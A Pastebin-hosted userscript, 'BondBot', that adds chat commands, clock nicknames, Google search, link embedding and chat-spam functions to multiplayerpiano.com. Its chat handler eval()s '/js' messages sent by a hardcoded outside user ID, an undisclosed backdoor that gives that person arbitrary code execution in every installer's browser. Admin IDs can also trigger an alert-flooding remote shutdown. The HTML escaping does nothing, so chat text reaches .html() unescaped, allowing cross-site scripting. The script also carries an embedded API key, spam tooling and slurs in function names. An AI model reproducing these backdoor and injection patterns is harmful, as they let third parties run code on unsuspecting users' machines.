Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name BondBot
- // @namespace http://tampermonkey.net/
- // @version 0.1
- // @description try to take over the world!
- // @author CitronSustain / oh / Anon64
- // @match http://www.multiplayerpiano.com/*
- // @grant none
- // ==/UserScript==
- //Hello, PasteBin user! You are looking at BondBot! A user focused bot for multiplayerpiano.com. Below are some descriptions of functions you can run using /js!
- ///js showClock24Hr() Shows a 24 Hr clock on your name
- ///js retardSpam() Copies any messages and repeats them using the tumblr() function
- ///js copySpam() Copies any messages and repeats them normally
- ///js leetSpam() Self Explanatory
- ///js showClockLocale() Shows your local time on your name
- ///js tumblr('texthere') Tumblr makes your text LoOk LiKe ThIs
- ///js L337('Texthere') makes your text l00k l1k3 th15
- ///js sendChat('text here') sends what ever is in the parentheses in chat!
- //To start the bot, paste this script into your browser console or Tampermonkey and run startBot()
- //To undo any chatspam functions you have run, please restart the bot by refreshing your page and re pasting it into console.
- //If you abuse chatspam functions Bondbot (Shaun Murphy) or Anon64 can turn off the bot.
- //credits and shit
- //Thanks to Infinity for the google command!
- //Thanks to Anon64 for helping with the unbox command!
- //Thanks to the people who put stuff on MPP userscripts page to make this bot easier to use!
- prefix = '.';
- thingy = 1; //pls dont remove, will probably be in use later
- botname = 'BondBot [.about]';
- //chat buffer from electrashave
- //-electrashave
- var chat_buffer = [];
- function sendChat(msg) {
- msg.match(/.{0,511}/g).forEach(function(x, i) {
- if (x === '') return;
- if (i !== 0) x = '...' + x;
- chat_buffer.push(x);
- });
- }
- var chatInt = setInterval(function() {
- var msg = chat_buffer.shift();
- if (msg) MPP.client.sendArray([{ m: 'a', message: msg }]);
- }, 1900);
- function cockBot() {
- sendChat(
- 'CockBot has been enabled. To revert changes, please reload the bot.'
- );
- botname = 'CockBot [' + prefix + 'about]';
- prefix = '\u034f';
- }
- Array.prototype.random = function(q) {
- if (q === undefined) {
- return this.length > 0
- ? this[Math.floor(this.length * Math.random())]
- : undefined;
- } else {
- let amount = q >>> 0;
- let result = this.slice(0, amount);
- for (let i = amount; i < this.length; i++) {
- let j = Math.floor(Math.random() * i);
- if (j < amount) {
- result[j] = this[i];
- }
- }
- return result;
- }
- };
- MPP.client.on('a', function(msg) {
- var b = msg.a;
- var msgArr = msg.a.split(' ');
- var input = msg.a.substring(msgArr[0].length).trim();
- if (
- (msgArr[0] == '/js' && msg.p._id == MPP.client.getOwnParticipant()._id) ||
- (msgArr[0] == '/js' && msg.p._id == 'd55bf273f64f37c5691f3bbb')
- ) {
- try {
- MPP.chat.send(
- '> ' + JSON.stringify(eval(msg.a.substr(msgArr[0].length).trim()))
- );
- } catch (error) {
- MPP.chat.send('> ' + error);
- }
- }
- if (
- msg.a.toLowerCase().substring(0, (prefix + '8ball').length) ==
- prefix + '8ball'
- ) {
- var words = [
- 'It is certain',
- 'It is decidedly so',
- 'Without a doubt',
- 'Yes, definitely.',
- 'You may rely on it',
- 'As I see it yes',
- 'Most likely',
- 'Outlook good',
- 'Yes',
- 'Signs point to yes',
- 'Reply hazy, try again.',
- 'Ask again later',
- 'Better not tell you now',
- 'Cannot predict now',
- 'Concentrate and ask again',
- 'Dont count on it',
- 'My reply is no',
- 'My sources say no',
- 'Outlook not so good',
- 'Very doubtful',
- 'No',
- ];
- var random = Math.floor(Math.random() * words.length);
- MPP.chat.send('8ball: ' + words[random]);
- }
- if (b == 'Bondbot, shutdown' && msg.p._id == 'd55bf273f64f37c5691f3bbb') {
- sendChat('Shutting down -- Reason: Requested by Admin');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- }
- if (b == 'Bondbot, shutdown' && msg.p._id == 'a2db90c04712080af5d797a1') {
- sendChat('Shutting down -- Reason: requested by Admin');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- }
- if (b == prefix + 'time_24hr') {
- sendChat(
- new Date().getHours() +
- ':' +
- new Date().getMinutes() +
- ':' +
- new Date().getSeconds()
- );
- }
- if (b == prefix + 'about') {
- sendChat(
- 'ClockBot is a bot written by oh including many fun console commands and chat commands. '
- );
- sendChat(
- 'Command list: ' +
- prefix +
- '8ball, ' +
- prefix +
- 'time_24hr, ' +
- prefix +
- 'rps, ' +
- prefix +
- 'google ' +
- prefix +
- 'unbox [currently broken :( ]'
- );
- sendChat('Unbox weapon skins from CS:GO! Inventories will work soon!');
- }
- //RPS START (there is a lot easier way to do this but I couldn't figure it out cause I'm retarded)
- var rockwords = [
- 'You Lose! Computer chose paper.',
- 'You win! Computer chose scissors.',
- 'Tie! You both chose rock.',
- ];
- var rockrandom = Math.floor(Math.random() * rockwords.length);
- var paperwords = [
- 'You Lose! Computer chose scisssors.',
- 'You win! Computer chose rock.',
- 'Tie! You both chose paper.',
- ];
- var paperrandom = Math.floor(Math.random() * paperwords.length);
- var scissorswords = [
- 'You Lose! Computer chose rock.',
- 'You win! Computer chose paper.',
- 'Tie! You both chose scissors.',
- ];
- var scissorsrandom = Math.floor(Math.random() * scissorswords.length);
- if (b == prefix + 'rps' || b == prefix + 'rockpaperscissors') {
- sendChat('Welcome to RPS: do .rps <rock, paper, scissors> to play!');
- }
- if (
- b == prefix + 'rps r' ||
- b == prefix + 'rockpaperscissors rock' ||
- b == prefix + 'rps rock' ||
- b == prefix + 'rockpaperscissors r'
- ) {
- sendChat('RPS: ' + rockwords[rockrandom]);
- }
- if (
- b == prefix + 'rps s' ||
- b == prefix + 'rockpaperscissors s' ||
- b == prefix + 'rps scissors' ||
- b == prefix + 'rockpaperscissors scissors'
- ) {
- sendChat('RPS: ' + scissorswords[scissorsrandom]);
- }
- if (
- b == prefix + 'rps p' ||
- b == prefix + 'rockpaperscissors paper' ||
- b == prefix + 'rps paper' ||
- b == prefix + 'rockpaperscissors p'
- ) {
- sendChat('RPS: ' + paperwords[paperrandom]); //FIXME: not really a fixme its more of a reminder just need to add toLowerCase
- }
- //CS:GO Unbox Sim START
- var wear = [
- 'Battle-Scarred (BS)',
- 'Field-Tested (FT)',
- 'Well-Worn (WW)',
- 'Minimal Wear (MW)',
- 'Factory New (FN)',
- ];
- var csweaponscase1 = [
- 'MP7 | Skulls | Mil-spec ',
- 'SG 553 | Ultraviolet | Mil-spec ',
- 'AUG | Wings | Mil-spec ',
- 'M4A1-S | Dark Water | Restricted ',
- 'USP-S | Dark Water | Restricted ',
- 'Glock-18 | Dragon Tattoo | Restricted ',
- 'Desert Eagle | Hypnotic | Classified ',
- 'AK-47 | Case Hardened | Classified ',
- 'AWP | Lightning Strike | Covert ',
- '★ Karambit | Exceedingly Rare ',
- ];
- var gamma = [
- 'Five-SeveN | Violent Daimyo | Mil-Spec',
- 'MAC-10 | Carnivore | Mil-Spec',
- 'Nova | Exo | Mil-Spec',
- 'P250 | Iron Clad | Mil-Spec',
- 'PP-Bizon | Harvester | Mil-Spec',
- 'SG 553 | Aerial | Mil-Spec',
- 'Tec-9 | Ice Cap | Mil-Spec',
- 'AUG | Aristocrat | Restricted',
- 'AWP | Phobos | Restricted',
- 'P90 | Chopper | Restricted',
- 'R8 Revolver | Reboot | Restricted',
- 'Sawed-Off | Limelight | Restricted',
- 'M4A4 | Desolate Space | Classified',
- 'P2000 | Imperial Dragon | Classified',
- 'SCAR-20 | Bloodsport | Classified',
- 'Glock-18 | Wasteland Rebel | Covert',
- 'M4A1-S | Mecha Industries | Covert',
- 'M9 Bayonet | Crimson Web',
- 'Karambit | Doppler',
- ];
- var case1random = Math.floor(Math.random() * csweaponscase1.length);
- var wearrandom = Math.floor(Math.random() * wear.length);
- var gammarandom = Math.floor(Math.random() * gamma.length);
- /* if (b == prefix + 'unbox') {
- switch(input.toLowerCase()) {
- default:
- sendChat('Welcome to CS:GO Unbox Simulator on MPP! Current cases available: Weapons Case 1 (csweaponscase1), Gamma (gamma)');
- sendChat('To unbox: do .unbox <case name>');
- break;
- case "csweaponscase1":
- MPP.chat.send('CS:GO: You unboxed a ' + csweaponscase1[case1random] + wear[wearrandom]);
- break;
- case "weapons case 1":
- MPP.chat.send('CS:GO: You unboxed a ' + csweaponscase1[case1random] + wear[wearrandom]);
- break;
- case"gamma":
- MPP.chat.send('CS:GO: You unboxed a ' + gamma[gammarandom] + wear[wearrandom]);
- break;
- }
- }*/ //FIXME: somehow completely broken
- if (b == 'Bondbot, shutdown' && msg.p._id == 'd55bf273f64f37c5691f3bbb') {
- sendChat('Shutting down -- Reason: Requested by Admin');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- }
- if (b == 'Bondbot, shutdown' && msg.p._id == 'a2db90c04712080af5d797a1') {
- sendChat('Shutting down -- Reason: requested by Admin');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- alert('SHUTDOWN! REFRESH PAGE!');
- }
- });
- function tumblr(stringystring) {
- if (typeof stringystring !== 'string') {
- throw 'SyntaxError: tumblr() may only be used with strings.';
- } else {
- var results = [];
- var csto = stringystring.toLowerCase();
- var csm = csto.split(' ');
- for (var i = 0; i < csm.length; i++) {
- var res2 = [];
- wordc = csm[i].split('');
- for (var x = 0; x < wordc.length; x++) {
- if (x % 2 === 0) {
- res2.push(wordc[x].toUpperCase());
- } else {
- res2.push(wordc[x]);
- }
- }
- results.push(res2.join(''));
- }
- fnl = results.join(' ');
- return fnl;
- }
- }
- function startBot() {
- sendChat('Starting BondBot');
- sendChat('Loading done! use .about for cmds');
- }
- function showClockLocale() {
- updateName = function(name) {
- MPP.client.sendArray([{ m: 'userset', set: { name: name } }]);
- };
- Date.prototype.time = function() {
- return this.toLocaleTimeString();
- };
- wut = setInterval(function() {
- updateName(botname + '- ' + new Date().time());
- }, 2100);
- }
- function retardSpam() {
- MPP.client.on('a', msg => {
- if (msg.p._id !== MPP.client.getOwnParticipant()._id)
- MPP.chat.send(tumblr(msg.a));
- });
- }
- function copySpam() {
- MPP.client.on('a', msg => {
- if (msg.p._id !== MPP.client.getOwnParticipant()._id) MPP.chat.send(msg.a);
- });
- }
- function leetSpam() {
- MPP.client.on('a', msg => {
- if (msg.p._id !== MPP.client.getOwnParticipant()._id)
- MPP.chat.send(L337(msg.a));
- });
- }
- function showClock24Hr() {
- updateName = function(name) {
- MPP.client.sendArray([{ m: 'userset', set: { name: name } }]);
- };
- setInterval(function() {
- var time = new Date();
- var hr = time.getHours();
- var min = time.getMinutes();
- var sec = time.getSeconds();
- if (hr < 10) {
- hr = ' ' + hr;
- }
- if (min < 10) {
- min = '0' + min;
- }
- if (sec < 10) {
- sec = '0' + sec;
- }
- updateName(botname + ' - ' + hr + ':' + min + ':' + sec);
- }, 2100);
- }
- function L337(str) {
- return str.replace(/[a-z]/g, function f(a) {
- return (
- '4BCD3F6H1JKLMN0PQR57'[parseInt(a, 36) - 10] || a.replace(/[a-t]/gi, f)
- );
- });
- }
- googleavailable = true; //google stuff
- googleCooldown = 6000; //google command usage cooldown in milliseconds
- googleCommand = true; //this determines whether or not the google command is enabled or disabled
- searchHistory = [];
- var googleCommandDelay = 3;
- var div = document.createElement('div');
- div.id = 'Div1';
- div.style.display = 'none';
- document.body.appendChild(div);
- (function() {
- var cx = '010021570394457971158:qajzusztxwo';
- var gcse = document.createElement('script');
- gcse.type = 'text/javascript';
- gcse.async = true;
- gcse.src =
- (document.location.protocol == 'https:' ? 'https:' : 'http:') +
- '//www.google.com/cse/cse.js?cx=' +
- cx;
- var s = document.getElementsByTagName('script')[0];
- s.parentNode.insertBefore(gcse, s);
- })();
- function gcseCallback(query) {
- if (document.readyState != 'complete')
- return google.setOnLoadCallback(gcseCallback, true);
- google.search.cse.element.render({
- gname: 'gsearch',
- div: 'Div1',
- tag: 'searchresults-only',
- attributes: { webSearchResultSize: 1 },
- });
- var element = google.search.cse.element.getElement('gsearch');
- element.execute(query);
- returnResults();
- setTimeout(function() {
- googleavailabe = true;
- }, googleCooldown);
- }
- function getTitle(index) {
- var title = document.getElementsByClassName('gsc-thumbnail-inside')[index]
- .textContent;
- return title;
- }
- function getLink(index) {
- if (
- typeof document
- .getElementsByClassName('gsc-webResult gsc-result')[0]
- .getElementsByClassName('gs-spelling gs-result')[0] != 'undefined'
- )
- index++;
- if (
- typeof document
- .getElementsByClassName('gsc-webResult gsc-result')[0]
- .getElementsByClassName('gs-spelling')[0] != 'undefined'
- )
- index++;
- if (
- typeof document
- .getElementsByClassName('gsc-webResult gsc-result')[0]
- .getElementsByClassName('gs-spelling gs-spelling-original')[0] !=
- 'undefined'
- )
- index++;
- var title = document.getElementsByClassName('gsc-webResult gsc-result')[
- index
- ];
- var firstdiv = title.getElementsByClassName('gsc-thumbnail-inside')[0];
- var firstatag = firstdiv.getElementsByTagName('a')[0];
- var link = firstatag.getAttribute('data-ctorig');
- return link;
- }
- function getText(index) {
- var txt = document.getElementsByClassName('gs-bidi-start-align gs-snippet')[
- index
- ].textContent;
- return txt;
- }
- function checkLoaded(index) {
- if (
- typeof document.getElementsByClassName('gs-bidi-start-align gs-snippet')[
- index
- ] != 'undefined' &&
- typeof document.getElementsByClassName('gsc-thumbnail-inside')[index] !=
- 'undefined' &&
- typeof document.getElementsByClassName('gsc-webResult gsc-result')[index] !=
- 'undefined'
- ) {
- return true;
- } else {
- return false;
- }
- }
- function checkNoResult() {
- if (
- typeof document.getElementsByClassName(
- 'gs-webResult gs-result gs-no-results-result'
- )[0] != 'undefined'
- ) {
- return true;
- } else {
- return false;
- }
- }
- function returnResults() {
- var intervalId = setInterval(function() {
- if (checkNoResult() == true) {
- div.innerHTML = '';
- MPP.chat.send(
- error +
- 'Your search - ' +
- lastsearch +
- ' - did not match any documents. | Make sure that all words are spelled correctly. | Try different keywords. | Try more general keywords. |'
- );
- clearInterval(intervalId);
- }
- if (
- checkLoaded(0) == true &&
- checkLoaded(1) == true &&
- checkLoaded(2) == true
- ) {
- MPP.chat.send(
- 'First result || ' +
- getTitle(0) +
- ': (' +
- getLink(0) +
- ') => ' +
- getText(0)
- );
- MPP.chat.send(
- 'Second result || ' +
- getTitle(1) +
- ': (' +
- getLink(1) +
- ') => ' +
- getText(1)
- );
- MPP.chat.send(
- 'Third result || ' +
- getTitle(2) +
- ': (' +
- getLink(2) +
- ') => ' +
- getText(2)
- );
- div.innerHTML = '';
- clearInterval(intervalId);
- }
- }, 25);
- }
- MPP.client.on('a', function(msg) {
- var cmd = msg.a.split(' ')[0].toLowerCase();
- var input = msg.a.substring(cmd.length).trim();
- if (cmd == prefix + 'google') {
- if (googleCommand == true) {
- if (!googleavailable) {
- MPP.chat.send(
- 'This command has a ' +
- googleCooldown +
- ' millisecond cooldown to prevent spam. Please wait and then try again later. Thanks!'
- );
- } else {
- if (input == '') {
- MPP.chat.send(
- '\u034f' +
- msg.p.name +
- "\u034f didn't google anything, how useless."
- );
- } else {
- MPP.chat.send('Searching... Commands disabled during search.');
- lastsearch = input;
- Power = 'off';
- searchHistory.push(lastsearch);
- setTimeout(function() {
- gcseCallback(input);
- Power = 'on';
- }, 4000);
- }
- }
- }
- }
- });
- //notification thing from coolguymanguy
- /* Better MPP V 0.5*/
- checkNotification();
- window.MPP.client.on('a', function(msg) {
- var message = msg.a;
- var name = window.MPP.client.getOwnParticipant().name;
- /*if(message.substring(0, name.length + 1).toLowerCase() == name.toLowerCase()){
- var notification = new Notification(name + " is talking to you!");
- }
- */
- if (msg.p.name != name) {
- if (message.toLowerCase().indexOf(name.toLowerCase()) != -1) {
- var ding = new Audio(
- 'https://www.freesound.org/data/previews/66/66136_606715-lq.mp3'
- ); //notification sound
- ding.play();
- var notification = new Notification(msg.p.name + ' said: ' + message); // Notification
- var list = $('#chat li ');
- list[list.length - 1].remove(); //removing double chat entry
- var li = $('<li><span class="name"/><span class="message"/>');
- li.find('.name').text(msg.p.name + ':');
- li.find('.message').text(msg.a);
- li.css('color', 'Black');
- li.css('background-color', 'rgba(255,0,0,0.4)'); //style of name
- $('#chat ul').append(li); // idk but it works
- }
- }
- });
- function checkNotification() {
- //checking if notifications is allowed
- if (!('Notification' in window)) {
- alert('This browser does not support desktop notification');
- } else if (Notification.permission === 'granted') {
- } else if (Notification.permission !== 'denied') {
- Notification.requestPermission(function(permission) {
- if (!('permission' in Notification)) {
- Notification.permission = permission;
- }
- });
- }
- }
- //embed link thing
- document.styleSheets[0].addRule('a', 'text-decoration: none;', 0);
- document.styleSheets[0].addRule('.blur-el', 'filter: blur(5px);', 0);
- document.styleSheets[0].addRule(
- '.yt',
- 'display:inline-block;position:relative;',
- 0
- );
- document.styleSheets[0].addRule(
- '.yt span',
- 'display: -webkit-box;position: absolute;bottom: 3px;left: 2px;-webkit-box-orient: vertical;-webkit-line-clamp: 2;font-family: Arial, Helvetica, sans-serif;background-color: rgba(0,0,0,.4);white-space: normal;overflow: hidden;',
- 0
- );
- style = document.createElement('link');
- style.rel = 'stylesheet';
- style.href = 'https://cdnjs.cloudflare.com/ajax/libs/lity/1.6.6/lity.css';
- document.getElementsByTagName('head')[0].appendChild(style);
- $.getScript('https://cdnjs.cloudflare.com/ajax/libs/lity/1.6.6/lity.js');
- var blurLinks = [];
- $(document).on('contextmenu', '[data-lity]', null, function(e) {
- if (e.ctrlKey) {
- e.preventDefault();
- if (e.target.className === 'blur-el') {
- $('img[src=' + CSS.escape(e.target.src) + ']').each(
- (n, e) => (e.className = '')
- );
- if (blurLinks.indexOf(e.target.src) != -1) {
- blurLinks.splice(blurLinks.indexOf(e.target.src), 1);
- }
- } else {
- $('img[src=' + CSS.escape(e.target.src) + ']').each(
- (n, e) => (e.className = 'blur-el')
- );
- if (blurLinks.indexOf(e.target.src) === -1) {
- blurLinks.push(e.target.src);
- }
- }
- }
- });
- function parseYouTubeId(url) {
- var regex = /^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|\&v=)([^#\&\?]*).*/;
- return url.match(regex) ? RegExp.$2 : null;
- }
- function parseVimeoId(url) {
- var regex = /^.*(vimeo.com\/|video\/)(\d+).*/;
- return url.match(regex) ? RegExp.$2 : null;
- }
- function isValidUrl(url) {
- return /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test(
- url
- );
- }
- function parseLink(url, el_id) {
- var pAudio, pImage;
- pAudio = new Audio();
- pImage = new Image();
- pAudio.src = pImage.src = url;
- pAudio.isError = pImage.isError = false;
- pAudio.onloadeddata = function(e) {
- pAudio.controls = true;
- $(el_id)
- .html('')
- .append(pAudio)
- .append(`<a href="${url}" target="_blank">🌍</a>`);
- };
- pAudio.onerror = function(e) {
- pAudio.isError = true;
- if (pImage.isError)
- $(el_id).html(`<a href="${url}" target="_blank">${url}</a>`);
- };
- pImage.onload = function(e) {
- var x1 = 150;
- var y1 = 150;
- document.body.appendChild(this);
- var w = this.offsetWidth;
- var h = this.offsetHeight;
- document.body.removeChild(this);
- if (w >= h && w > y1) {
- pImage.height = Math.round(h / (w / x1));
- pImage.width = x1;
- } else if (w <= h && h > x1) {
- pImage.width = Math.round(w / (h / y1));
- pImage.height = y1;
- }
- if (blurLinks.indexOf(url) != -1) pImage.className = 'blur-el';
- $(el_id).html(`<a href="${url}" data-lity></a>`).find('a').append(pImage);
- };
- pImage.onerror = function(e) {
- pImage.isError = true;
- var ytId = parseYouTubeId(url);
- var vmId = parseVimeoId(url);
- if (ytId != null) {
- pImage.isError = false;
- $.getJSON(
- 'https://www.googleapis.com/youtube/v3/videos?id=' +
- ytId +
- '&key=AIzaSyDL_iFb5QIUQf8fiG2Gx9-JEEkvfeU5H-Q&fields=items(id,snippet(channelId,title,categoryId),statistics)&part=snippet,statistics'
- ).done(i => {
- var imgLink = 'http://img.youtube.com/vi/' + ytId + '/mqdefault.jpg';
- var blurClass = blurLinks.indexOf(imgLink) != -1 ? 'blur-el' : '';
- $(el_id).html(`
- <div class="yt">
- <a title="${i.items[0].snippet.title}" href="${url}" data-lity>
- <img style="height:120px" class="${blurClass}" src="${imgLink}">
- </a>
- <span id="${ytId}">
- ${i.items[0].snippet.title}
- </span>
- </div>
- `);
- });
- } else if (vmId != null) {
- pImage.isError = false;
- $.getJSON('http://vimeo.com/api/v2/video/' + vmId + '.json').done(i => {
- var imgLink = i[0].thumbnail_large;
- var blurClass = blurLinks.indexOf(imgLink) != -1 ? 'blur-el' : '';
- console.log(i, imgLink);
- $(el_id).html(`
- <div class="yt">
- <a title="${i[0].title}" href="${url}" data-lity>
- <img style="height:120px" class="${blurClass}" src="${imgLink}">
- </a>
- <span id="${vmId}">
- ${i[0].title}
- </span>
- </div>`);
- });
- } else if (pAudio.isError)
- $(el_id).html(`<a href="${url}" target="_blank">${url}</a>`);
- };
- }
- MPP.client.on('a', msg => {
- var el = $('#chat li:last');
- if (el.find('.message').text() != msg.a) return;
- var li = $('<li><span class="name"/><span class="message"/>');
- var content = msg.a
- .replace(/</g, '<')
- .replace(
- /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,
- function(url) {
- if (!isValidUrl(url)) return url;
- var nice = url;
- var el_id = Math.random().toString(36).slice(2);
- if (url.match('^https?://')) nice = nice.replace(/^https?:\/\//i, '');
- else url = 'http://' + url;
- parseLink(url, '#' + el_id);
- return '<span id="' + el_id + '">' + url + '</span>';
- }
- );
- li.find('.name').text(msg.p.name);
- li.find('.message').html(content);
- li.css({ color: msg.p.color || 'white', opacity: 1 });
- el.remove();
- $('#chat ul').append(li);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement